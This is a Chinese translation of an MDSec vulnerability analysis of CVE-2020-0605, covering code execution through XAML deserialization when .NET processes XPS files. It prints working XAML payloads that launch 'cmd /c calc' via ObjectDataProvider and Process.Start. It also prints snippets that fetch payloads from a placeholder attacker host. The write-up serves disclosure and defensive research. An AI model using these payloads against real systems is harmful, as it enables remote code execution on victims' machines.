本文是翻译文章,原作者 Soroush Dalili
原文地址:https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/
译文仅作参考,具体内容表达请见原文
微软近期修复了许多与XPS文件有关的反序列化漏洞,其中就包括CVE-2020-0605
,XPS
文件用于作为PDF
文件的替代品,但其并未像后者那样普及,微软已在Win10 1083 +
中将XPS Viewer
默认安装,不过XPS Viewer
不调用.NET
来读取XPS文件,因此不受该漏洞影响。该漏洞的补丁在今年一月就发布了,但是补丁不够完善,然后在今年五月对补丁进行了完善。该漏洞可用于攻击所有使用.NET处理XPS文件的业务场景,其已被确认的漏洞思路也可用于开发其它XAML反序列化漏洞的利用链。
一个XPS文件就像一个压缩包,其内包含多类文件,例如图像、字体以及XML文档。.NET
中基于XAML
来序列化处理XPS文件中的XML文件。
一个简单的XPS文件结构如下:
File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels
其中带有.fdseql
、.fdoc
、.fpage
的文件使用了XAML
序列化进程。不过如果在[Content_Types].xml
文件中定义了合适的类型,也可以使用其他自定义的后缀名。
ysoserial
项目中提供了以下通用exp以在读取XPS文件时来命令执行:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCalc" ObjectType="{x:Type Diag:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>/c calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
一月份给出的补丁仅增加了对.fdseq
格式文件的安全校验,不过仍可使用其它文件来触发漏洞。
举两个怎样在.NET场景中读取XPS文件的例子,如下:
XpsDocument
XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read); var a = myDoc.GetFixedDocumentSequence();
LocalPrintServer
+ defaultPrintQueue
PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue(); PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);
不过我们测试过程中发现XPS文件中的BAML(XAML的编译版本)文件无法触发漏洞,它们会导致内部错误。
### 3.1. 受影响的.NET 内部类
注:internal class
被译为了内部类,该internal
修饰符表示被修饰的类或方法其访问权限仅限于当前程序集,关于C#中internal
关键字的相关资料可见此
.NET其System.Windows.Documents
命名空间下存在XpsValidatingLoader
类,其中的Load()
和Validate()
方法在处理恶意XAML指令时可能会导致代码执行,因为它们都最终调用了XamlReader.Load()
方法。
关系图如下:
System.Windows.Documents.XpsValidatingLoader
为内部类
Load
在以下类中被调用:
Validate
在以下类中被调用:
然后,上述所受影响的类最终可被其它公共类中所调用。
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06"> <PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" /> </FixedDocument>
或者
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"> <DocumentReference Source="http://[attackersite]/payload.xaml" /> </FixedDocumentSequence>
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <FixedDocument.Resources> <ObjectDataProvider MethodName="Start" x:Key=""> <ObjectDataProvider.ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" /> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider> </FixedDocument.Resources> </FixedDocument>
或者
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <FixedDocumentSequence.Resources> <ObjectDataProvider MethodName="Start" x:Key=""> <ObjectDataProvider.ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" /> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider> </FixedDocumentSequence.Resources> </FixedDocumentSequence>